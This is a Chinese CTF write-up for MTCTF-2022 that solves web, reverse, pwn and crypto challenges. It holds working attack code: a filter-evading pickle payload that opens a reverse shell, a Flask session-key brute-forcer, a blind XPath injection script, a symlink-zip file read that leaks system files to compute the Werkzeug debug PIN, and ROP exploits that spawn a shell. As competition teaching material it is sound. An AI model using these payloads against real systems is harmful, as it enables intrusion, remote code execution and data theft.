MTCTF-2022 部分WriteUp

littlebird

​

​

编辑

MTCTF

本次比赛主力输出选手Article&Messa&Oolongcode，累计解题3Web,2Pwn,1Re,1Crypto

Web

★easypickle
题目给出源码：

​

1. import base64
   
2. import pickle
   
3. from flask import Flask, session
   
4. import os
   
5. import random
   
6. 
   
7. 
   
8. app = Flask(__name__)
   
9. app.config['SECRET_KEY'] = os.urandom(2).hex()
   
10. 
    
11. 
    
12. @app.route('/')
    
13. def hello_world():
    
14.     if not session.get('user'):
    
15.         session['user'] = ''.join(random.choices("admin", k=5))
    
16.     return 'Hello {}!'.format(session['user'])
    
17. 
    
18. @app.route('/admin')
    
19. def admin():
    
20.     if session.get('user') != "admin":
    
21.         return f"<script>alert('Access Denied');window.location.href='/'</script>"
    
22.     else:
    
23.         try:
    
24.             a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
    
25.             if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
    
26.                 raise pickle.UnpicklingError("R i o b is forbidden")
    
27.             pickle.loads(base64.b64decode(session.get('ser_data')))
    
28.             return "ok"
    
29.         except:
    
30.             return "error!"
    
31. 
    
32. if __name__ == '__main__':
    
33.     app.run(host='0.0.0.0', port=8888)

复制代码

注意到secret_key是个4位16进制，而且没有文件读取的功能，那只能爆破

了，脚本如下：

1. from flask import Flask
   
2. from flask.sessions import SecureCookieSessionInterface
   
3. import requests as res
   
4. import time
   
5. import base64 as b64
   
6. 
   
7. 
   
8. strS = "0123456789abcdef"
   
9. end = True
   
10. 
    
11. for i in range(0,655356):
    
12.     if end:
    
13.         break
    
14.     time.sleep(0.05)
    
15.     hexs = hex(i)
    
16.     secret = '0' * (4 - len(hexs[2:])) + hexs[2:]
    
17.     print(secret)
    
18.     app = Flask(__name__)
    
19.     app.secret_key = (secret).encode()
    
20.     session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    
21.     @app.route('/')
    
22.     def index():
    
23.         result = session_serializer.dumps({"user":"admin"})
    
24.         print(result)
    
25.         return result
    
26.     ck = index()
    
27.     url = "http://eci-2ze39yqy7j0by91g9he0.cloudeci1.ichunqiu.com:8888/"
    
28.     cookie = {"session": ck}
    
29.     resp = None
    
30.     try:
    
31.         resp = res.get(url=url, cookies= cookie)
    
32.     except Exception:
    
33.         time.sleep(0.2)
    
34.         resp = res.get(url=url, cookies= cookie)
    
35.     print(resp.text)
    
36.     if resp.text.find("admin")!=-1:
    
37.         time.sleep(0.2)
    
38.         resp = res.get(url=url, cookies= cookie)
    
39.         if resp.text.find("admin")!=-1:
    
40.             print("================================")
    
41.             print(resp.text)
    
42.             print("================================")
    
43.             end = True

复制代码

拿到secret_key就可以自定义构造session来打/admin路由了

/admin路由采用经典的对pickle的0号协议过滤了命令执行方法，这里可以采用高版本协议替代，这里采用的payload是基于蓝帽杯的file_session改动的:
https://mp.weixin.qq.com/s/A9OmgHAmGLJPEL4cQBU8zQ
​

​

编辑

此外还存在一些关键字过滤，可以也可以采用高版本协议组合使用绕过

​

编辑

如原本payload中opcodes导入__builtin__.map

​

编辑

就可以替换成如下形式:
​

1. raw = b'''c__builtin__
   
2. map
   
3. .'''
   
4. print(pk.loads(raw))
   
5. #<class 'map'>
   
6. 
   
7. 
   
8. after = b'''V__\u0062u\u0069lt\u0069n__
   
9. Vmap
   
10. \x93.'''
    
11. print(pk.loads(after))
    
12. #<class 'map'>

复制代码

​
opcode中V代表unicode字符串，支持将\uxxxx格式解析为对应字符可以用来关键字过滤：

​

编辑

\x93作用同c，但是将从stack中出栈两元素分别导入的模块名和属性名：

​

编辑

此外对于蓝帽杯WP还存在一个小问题，原题采用_loads函数加载pickle数据

​

编辑

但本题是loads，在opcodes处理上会有些微不通

​

编辑

具体来说就是用loads加载时会报错误如下：

​

编辑

对着把传入参数换成元组就行，最终的payload如下(因为是手动改所以还删了一些opcode方便分析)
​

1. app = Flask(__name__)
   
2. app.secret_key = ('填爆破出来的secret_key').encode()
   
3. session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
   
4. b= b'''V__\u0062u\u0069lt\u0069n__
   
5. Vmap
   
6. \x93p0
   
7. 0(]V\u0069mp\u006Frt s\u006Fcket,su\u0062pr\u006Fcess,\u006Fs;s=s\u006Fcket.s\u006Fcket(s\u006Fcket.AF_INET,s\u006Fcket.SOCK_ST\u0052EAM);s.c\u006Fnnect(("IP",PORT));\u006Fs.dup2(s.f\u0069len\u006F(),0); \u006Fs.dup2(s.f\u0069len\u006F(),1); \u006Fs.dup2(s.f\u0069len\u006F(),2);p=su\u0062pr\u006Fcess.call(["/\u0062\u0069n/sh","-\u0069"]);
   
8. ap1
   
9. 0((V__\u0062u\u0069lt\u0069n__
   
10. Vexec
    
11. \x93g1
    
12. tp2
    
13. 0(g0
    
14. g2
    
15. \x81tp3
    
16. 0V__\u0062u\u0069lt\u0069n__
    
17. V\u0062ytes
    
18. \x93p4
    
19. g3
    
20. \x81.'''
    
21. @app.route('/')
    
22. def index():
    
23.     result = session_serializer.dumps({"user":"admin",'ser_data':b64.b64encode(b)})
    
24.     print(result)
    
25. index()

复制代码

最终实现一个反弹shell的功能，flag就在当前目录下，直接读取就能获得flag

★babyjava

题目明示Xpath注入，可以直接参考[NPUCTF2020]ezlogin_Xpath_injection的做法

具体流程就是按照：

• 检测注入
• 查询根节点数
• 查询根节点名长度(可省)
• 查询更节点名
• 按上依次查找向下节点知道知道目标数据
• 查询目标数据节点长度
• 查询目标数据节点内容
  
  

整体xml文档结构如下：

1. <root>
   
2.     <user>
   
3.         <username>
   
4.             user1
   
5.         </username>
   
6.         <username>
   
7.             flag{xxxx}
   
8.         </username>
   
9.     </user>
   
10. </root>

复制代码

编写的脚本如下：

1. import requests as res
   
2. import string
   
3. 
   
4. 
   
5. url = "http://eci-2zeetzz54w4b5tinoysb.cloudeci1.ichunqiu.com:8888/hello"
   
6. strs = "{-}" + string.ascii_letters + string.digits
   
7. result = ""
   
8. end = False
   
9. for a in range(1,100):
   
10.     if end:
    
11.         print("[+]Done!: {}".format(result))
    
12.         break
    
13.     for i in strs:
    
14.         print("[+]Test:{} {}".format(a,i))
    
15.         # data = {"xpath" : "1'or substring(name(/*[1]), {}, 1)='{}' and '1'='1".format(a,i)}
    
16.         # data = {"xpath" : "1'or substring(name(/root/*[1]), {}, 1)='{}' and '1'='1".format(a,i)}
    
17.         # data = {"xpath" : "1'or substring(name(/root/user/*[2]), {}, 1)='{}' and '1'='1".format(a,i)}
    
18.         data = {"xpath" : "1'or substring(/root/user/username[position()=2]/text(), {}, 1)='{}' and '1'='1".format(a,i)}
    
19.         resp = res.post(url=url, data=data)
    
20.         # print(resp.text)
    
21.         if resp.text.find("<p>user1</p>") != -1:
    
22.             result += i
    
23.             print("[+]Matched: " + result)
    
24.             break
    
25.         if i == strs[len(strs)-1:]:
    
26.             end = True

复制代码

​

​

编辑

★OnlineUnzip给出了源码：

​

1. import os
   
2. import re
   
3. from hashlib import md5
   
4. from flask import Flask, redirect, request, render_template, url_for, make_response
   
5. 
   
6. 
   
7. app=Flask(__name__)
   
8. 
   
9. 
   
10. def extractFile(filepath):
    
11.     extractdir=filepath.split('.')[0]
    
12.     if not os.path.exists(extractdir):
    
13.         os.makedirs(extractdir)
    
14.     os.system(f'unzip -o {filepath} -d {extractdir}')
    
15.     return redirect(url_for('display',extractdir=extractdir))
    
16. 
    
17. 
    
18. @app.route('/', methods=['GET'])
    
19. def index():
    
20.     return render_template('index.html')
    
21. 
    
22. 
    
23. @app.route('/display', methods=['GET'])
    
24. @app.route('/display/', methods=['GET'])
    
25. @app.route('/display/<path:extractdir>', methods=['GET'])
    
26. def display(extractdir=''):
    
27.     if re.search(r"\.\.", extractdir, re.M | re.I) != None:
    
28.         return "Hacker?"
    
29.     else:
    
30.         if not os.path.exists(extractdir):
    
31.             return make_response("error", 404)
    
32.         else:
    
33.             if not os.path.isdir(extractdir):
    
34.                 f = open(extractdir, 'rb')
    
35.                 response = make_response(f.read())
    
36.                 response.headers['Content-Type'] = 'application/octet-stream'
    
37.                 return response
    
38.             else:
    
39.                 fn = os.listdir(extractdir)
    
40.                 fn = [".."] + fn
    
41.                 f = open("templates/template.html")
    
42.                 x = f.read()
    
43.                 f.close()
    
44.                 ret = "<h1>文件列表:</h1><br><hr>"
    
45.                 for i in fn:
    
46.                     tpath = os.path.join('/display', extractdir, i)
    
47.                     ret += "<a href='" + tpath + "'>" + i + "</a><br>"
    
48.                 x = x.replace("HTMLTEXT", ret)
    
49.                 return x
    
50. 
    
51. @app.route('/upload', methods=['GET', 'POST'])
    
52. def upload():
    
53.     ip = request.remote_addr
    
54.     uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]
    
55. 
    
56. 
    
57.     if not os.path.exists(uploadpath):
    
58.         os.makedirs(uploadpath)
    
59. 
    
60. 
    
61.     if request.method == 'GET':
    
62.         return redirect('/')
    
63. 
    
64. 
    
65.     if request.method == 'POST':
    
66.         try:
    
67.             upFile = request.files['file']
    
68.             print(upFile.filename)
    
69.             if os.path.splitext(upFile.filename)[-1]=='.zip':
    
70.                 filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
    
71.                 upFile.save(filepath)
    
72.                 zipDatas = extractFile(filepath)
    
73.                 return zipDatas
    
74.             else:
    
75.                 return f"{upFile.filename} is not a zip file !"
    
76.         except:
    
77.             return make_response("error", 404)
    
78. 
    
79. 
    
80. if __name__ == '__main__':
    
81.     app.run(host='0.0.0.0', port=8000, debug=True)

复制代码

​
可以注意到开启了debug模式，这就意味着存在可以利用控制台的功能，只要能够计算出pin码

在/upload路由能够上传并解压一个zip压缩包，而在/display路由中可以下载解压后的内容，显然我们通过压缩软链接文件，这样在容器解压后下载软连接文件就能获得容器上其对应的源码

以如下操作例就能获得/etc/passwd的内容

​

编辑

上传test.zip

​

编辑

下载解压后的test就能获得容器上的/etc/passwd文件

​

编辑

既然拥有任意文件下载的功能，所以就可以下载所需的文件计算出pin码，具体可以参考ctfshow的web801题：CTFSHOW 常用姿势篇（801-810）_yu22x的博客-CSDN博客

需要下载的文件如下：

•         /etc/passwd
  
•         /sys/class/net/eth0/address
  
•         /etc/machine-id
  
•         /proc/self/cgroup
  
  

最终脚本和获取到的数据如下：
​

1. import hashlib
   
2. import getpass
   
3. from flask import Flask
   
4. from itertools import chain
   
5. import sys
   
6. import uuid
   
7. import typing as t
   
8. username='ctf'
   
9. app = Flask(__name__)
   
10. modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    
11. mod=sys.modules.get(modname)
    
12. mod = getattr(mod, "__file__", None)
    
13. 
    
14. 
    
15. probably_public_bits = [
    
16.     username, #用户名
    
17.     modname,  #一般固定为flask.app
    
18.     getattr(app, "__name__", app.__class__.__name__), #固定，一般为Flask
    
19.     '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序（app.py）运行的绝对路径
    
20. ]
    
21. print(probably_public_bits)
    
22. mac ='00:16:3e:34:d9:0b'.replace(':','')
    
23. mac=str(int(mac,base=16))
    
24. private_bits = [
    
25.    mac,#mac地址十进制
    
26.    #machine-id + cgroup
    
27. "96cec10d3d9307792745ec3b85c89620" + "f0dd6bbeca02c2cd4d0c888f6e089690105d9a7a32680645e6f2e228456117c7"
    
28.      ]
    
29. print(private_bits)
    
30. h = hashlib.sha1()
    
31. for bit in chain(probably_public_bits, private_bits):
    
32.     if not bit:
    
33.         continue
    
34.     if isinstance(bit, str):
    
35.         bit = bit.encode("utf-8")
    
36.     h.update(bit)
    
37. h.update(b"cookiesalt")
    
38. 
    
39. 
    
40. cookie_name = f"__wzd{h.hexdigest()[:20]}"
    
41. 
    
42. 
    
43. # If we need to generate a pin we salt it a bit more so that we don't
    
44. # end up with the same value and generate out 9 digits
    
45. h.update(b"pinsalt")
    
46. num = f"{int(h.hexdigest(), 16):09d}"[:9]
    
47. 
    
48. 
    
49. # Format the pincode in groups of digits for easier remembering if
    
50. # we don't have a result yet.
    
51. rv=None
    
52. if rv is None:
    
53.     for group_size in 5, 4, 3:
    
54.         if len(num) % group_size == 0:
    
55.             rv = "-".join(
    
56.                 num[x : x + group_size].rjust(group_size, "0")
    
57.                 for x in range(0, len(num), group_size)
    
58.             )
    
59.             break
    
60.     else:
    
61.         rv = num
    
62. print(rv)

复制代码

​
执行脚本获得pin，然后就可以在控制台执行任意代码
flag在根目录下，直接读取就行

​

编辑

Reverse

★smalldie查看程序信息

​

编辑

ELF x64程序，使用ida 以二进制方式读取：
​​编辑​
发现是一个TEA加密的程序，根据加密算法编写exp：​

1. #include <stdio.h>
   
2. #include <stdint.h>
   
3. 
   
4. 
   
5. void decrypt(uint32_t* v, uint32_t* k) {
   
6.     uint32_t v0 = v[0], v1 = v[1], sum = 0x67452301*35, i;  /* set up */
   
7.     uint32_t delta = 0x67452301;                     /* a key schedule constant */
   
8.     uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
   
9.     for (i = 0; i < 35; i++) {                         /* basic cycle start */
   
10.         v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
    
11.         v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
    
12.         sum -= delta;
    
13.     }                                              /* end cycle */
    
14.     v[0] = v0; v[1] = v1;
    
15. }
    
16. 
    
17. int main()
    
18. {
    
19. 
    
20.     uint32_t v[8] = { 0xDE087143,0xC4F91BD2 }, k[4] = { 0x00000001,0x00000023,0x00000045,0x00000067 };
    
21. 
    
22.     uint32_t v1[2] = { 0xDAF6DADC,0x6D9ED54C };
    
23.     uint32_t v2[2] = { 0x75EB4EE7,0x5D1DDC04 };
    
24.     uint32_t v3[2] = { 0x511B0FD9,0x51DC88FB };
    
25. 
    
26. 
    
27.     decrypt(v, k);
    
28.     decrypt(v1, k);
    
29.     decrypt(v2, k);
    
30.     decrypt(v3, k);
    
31.     printf("解密后的数据：%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1], v3[0], v3[1]);
    
32.     printf("%c%c%c%c", v[0] >> 0, v[0] >> 8, v[0] >> 16, v[0] >> 24);
    
33.     printf("%c%c%c%c", v[1] >> 0, v[1] >> 8, v[1] >> 16, v[1] >> 24);
    
34.     printf("%c%c%c%c", v1[0] >> 0, v1[0] >> 8, v1[0] >> 16, v1[0] >> 24);
    
35.     printf("%c%c%c%c", v1[1] >> 0, v1[1] >> 8, v1[1] >> 16, v1[1] >> 24);
    
36.     printf("%c%c%c%c", v2[0] >> 0, v2[0] >> 8, v2[0] >> 16, v2[0] >> 24);
    
37.     printf("%c%c%c%c", v2[1] >> 0, v2[1] >> 8, v2[1] >> 16, v2[1] >> 24);
    
38.     printf("%c%c%c%c", v3[0] >> 0, v3[0] >> 8, v3[0] >> 16, v3[0] >> 24);
    
39.     printf("%c%c%c%c", v3[1] >> 0, v3[1] >> 8, v3[1] >> 16, v3[1] >> 24);
    
40.     return 0;
    
41. }

复制代码

PWN

★note
程序分析

1. 保护：
   
2.     Arch:     amd64-64-little
   
3.     RELRO:    Partial RELRO
   
4.     Stack:    No canary found
   
5.     NX:       NX enabled
   
6.     PIE:      No PIE (0x3ff000)

复制代码

提供了libc文件，版本为Ubuntu GLIBC 2.31-0ubuntu9.9
程序功能：

• add: 申请一块chunk，地址储存在栈上。
  
• edit: 修改一个chunk的内容。
  
• remove: 释放一块chunk。
  
• show: 打印chunk的内容。
  
  

一眼看过去，没有溢出也没有chunk，于是开始其他漏洞如整数溢出，但是所有size都是unsigned int，最后在edit中找到了int型的idx，具有越界访问的漏洞，可以修改栈上内容。


解题思路

• 由于add功能是使用malloc申请chunk，于是可以将tcache填满后从unsorted bin中申请chunk来泄漏libc
  
• 存在越界访问漏洞，用来修改栈上内容，通过栈上的rbp链来修改当前函数调用栈的ret_addr。构造rop_chain后get shell，需要注意的是要进行栈对齐。
  
  

exp

1. # coding=utf-8
   
2. from pwn import *
   
3. context.log_level='debug'
   
4. context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
   
5. 
   
6. 
   
7. # s=ssh(host=host,port=port,user='CTFMan',password='guest')
   
8. # io=s.run('/bin/bash')
   
9. 
   
10. 
    
11. io=process('./note')
    
12. #io=remote('39.106.78.22',16691)
    
13. 
    
14. 
    
15. elf=ELF('./note')
    
16. 
    
17. 
    
18. libc_file='./libc-2.31.so'
    
19. 
    
20. 
    
21. s=lambda x:io.send(x)
    
22. sa=lambda x,y:io.sendafter(x,y)
    
23. sl=lambda x:io.sendline(x)
    
24. sla=lambda x,y:io.sendlineafter(x,y)
    
25. r=lambda x:io.recv(x)
    
26. ru=lambda x:io.recvuntil(x)
    
27. debug=lambda:gdb.attach(io)   
    
28. 
    
29. 
    
30. choose=lambda x:sla("5. leave",str(x))
    
31. 
    
32. 
    
33. def add(size,content):
    
34.     choose(1)
    
35.     sla("Size: ",str(size))
    
36.     sla("Content: ",content)
    
37. 
    
38. 
    
39. def free(idx):
    
40.     choose(4)
    
41.     sla("Index: ",str(idx))
    
42. 
    
43. 
    
44. def edit(idx,content):
    
45.     choose(3)
    
46.     sla("Index: ",str(idx))
    
47.     sla("Content: ",content)
    
48. 
    
49. 
    
50. def show(idx):
    
51.     choose(2)
    
52.     sla("Index: ",str(idx))
    
53. 
    
54. 
    
55. for i in range(8):
    
56.     add(0xf0,'')
    
57. for i in range(8):
    
58.     free(7-i)
    
59. 
    
60. 
    
61. add(0x20,'')
    
62. show(0)
    
63. main_arena=u64(ru('\x7f')[-6:].ljust(8,'\0'))
    
64. libc_base=main_arena-0x1ecc0a
    
65. libc=ELF(libc_file)
    
66. print(hex(libc_base))
    
67. 
    
68. 
    
69. pop_rdi=0x00000000004017b3
    
70. ret=0x000000000040101a
    
71. binsh=libc_base+libc.search('/bin/sh').next()
    
72. system=libc_base+libc.sym['system']
    
73. 
    
74. 
    
75. payload=p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
    
76. print(hex(pop_rdi))
    
77. #debug()
    
78. edit(-6,payload)
    
79. 
    
80. 
    
81. io.interactive()

复制代码

★捉迷藏
程序分析
就是在很多的if else中找到漏洞，并且程序提供了backdoor。


解题思路
由于程序的输入只有input_val和input_line，因此若有溢出漏洞就应该是input_line造成的，然后找到栈溢出漏洞点，在main:1066。然后找到正确的执行流程，建议将main代码复制到vscode中，可以折叠无关代码。在最后需要通过一次加密，因为用的是异或，所以我直接复制并输入指定字符串后在内存中找到相应结果作为真正的内容输入即可。最后构造rop_chain来get shell，依旧要栈对齐。


exp

1. # coding=utf-8
   
2. import libnum
   
3. from pwn import *
   
4. context.log_level='debug'
   
5. context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
   
6. 
   
7. # s=ssh(host=host,port=port,user='CTFMan',password='guest')
   
8. # io=s.run('/bin/bash')
   
9. 
   
10. #io=process('./pwn')
    
11. io=remote('47.95.211.153',22174)
    
12. 
    
13. elf=ELF('./pwn')
    
14. 
    
15. #libc_file='./'
    
16. 
    
17. s=lambda x:io.send(x)
    
18. sa=lambda x,y:io.sendafter(x,y)
    
19. sl=lambda x:io.sendline(x)
    
20. sla=lambda x,y:io.sendlineafter(x,y)
    
21. r=lambda x:io.recv(x)
    
22. ru=lambda x:io.recvuntil(x)
    
23. debug=lambda:gdb.attach(io)   
    
24. 
    
25. ru("sbAmJLMLWm:")
    
26. s('\x20')
    
27. s('\x20')
    
28. s('\x20')
    
29. s('\x20')
    
30. s('\x20')
    
31. s('\x20')
    
32. s('\x20')
    
33. s('\x20')
    
34. ru("HuEqdjYtuWo:")
    
35. s("JlQZtdeJUoYHwWVHWPoRnkWCCzTUIJfxSFyySvunXdHQwaPgqCe")
    
36. ru("hbsoMdIRWpYRqvfClb:")
    
37. s("eRoTxWxqvoHTuwDKOzuPpBLJUNlbfmjvbyOJyZXYAJqkspYTkvatR")
    
38. ru("tfAxpqDQuTCyJw:")
    
39. s("wLstsZkXukNiHeHyxjklnbIDJBvxCaCTxO")
    
40. ru("UTxqmFvmLy:")
    
41. s('\x20')
    
42. s('\x20')
    
43. s('\x20')
    
44. s('9254\x20')
    
45. s('\x20')
    
46. s('\x20')
    
47. s('\x20')
    
48. s('\x20')
    
49. ru("LLQPyLAOGJbnm:")
    
50. s(p64(0xea0e6b2caa85144a))
    
51. s(p64(0x60d77d2fecf1f476))
    
52. s(p64(0x898719894803dcd8))
    
53. s(p64(0x7a7306999cce11ad))
    
54. s(p64(0x8a42aec82ee80bd9))
    
55. s(p16(0x8152))
    
56. #s("vkyHujGLvgxKsLsXpFvkLqaOkMVwyHXNKZglNEWOKM")
    
57. ru("gRGKqIlcuj:")
    
58. 
    
59. backdoor=0x000000000040132C
    
60. payload='\0'*(0xf+8)+p64(0x000000000040101a)+p64(backdoor)
    
61. 
    
62. print(hex(backdoor))
    
63. #debug()
    
64. s(payload)
    
65. 
    
66. io.interactive()

复制代码

Crypto
★strange_rsa1
题目代码非常简单：

1. from Crypto.Util.number import *
   
2. from sage.all import RealField
   
3. from secret import flag1
   
4. 
   
5. 
   
6. Bits = 512
   
7. p = getPrime(Bits)
   
8. q = getPrime(Bits)
   
9. n = p * q
   
10. 
    
11. gift = RealField(prec=Bits*2)(p) / RealField(prec=Bits*2)(q)
    
12. e = 0x10001
    
13. m = bytes_to_long(flag1)
    
14. c = pow(m, e, n)
    
15. 
    
16. output = open('output.txt', 'w')
    
17. output.write('n = ' + str(n) + '\n')
    
18. output.write('c = ' + str(c) + '\n')
    
19. output.write('gift = ' + str(gift) + '\n')

复制代码

对代码进行简单审计发现：

1. $
   
2. p \cdot q \cdot \frac{p}{q} = p^2 \
   
3. p \cdot q \cdot \frac{q}{p} = q^2 \
   
4. $

复制代码

所以根据原理编写exp：

1. # sagemath
   
2. from Crypto.Util.number import *
   
3. 
   
4. n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
   
5. c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
   
6. gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
   
7. 
   
8. RF = RealField(512*2)
   
9. p = int(RF(n)*RF(gift))
   
10. q = int(RF(n)/RF(gift))
    
11. p = int(sqrt(p))
    
12. q = int(sqrt(q))+1
    
13. 
    
14. e = 0x10001
    
15. phi = (p-1)*(q-1)
    
16. R = Integers(phi)
    
17. d = R(1) / R(e)
    
18. m = int(pow(c,d,n))
    
19. 
    
20. flag = long_to_bytes(m)
    
21. print(flag)

复制代码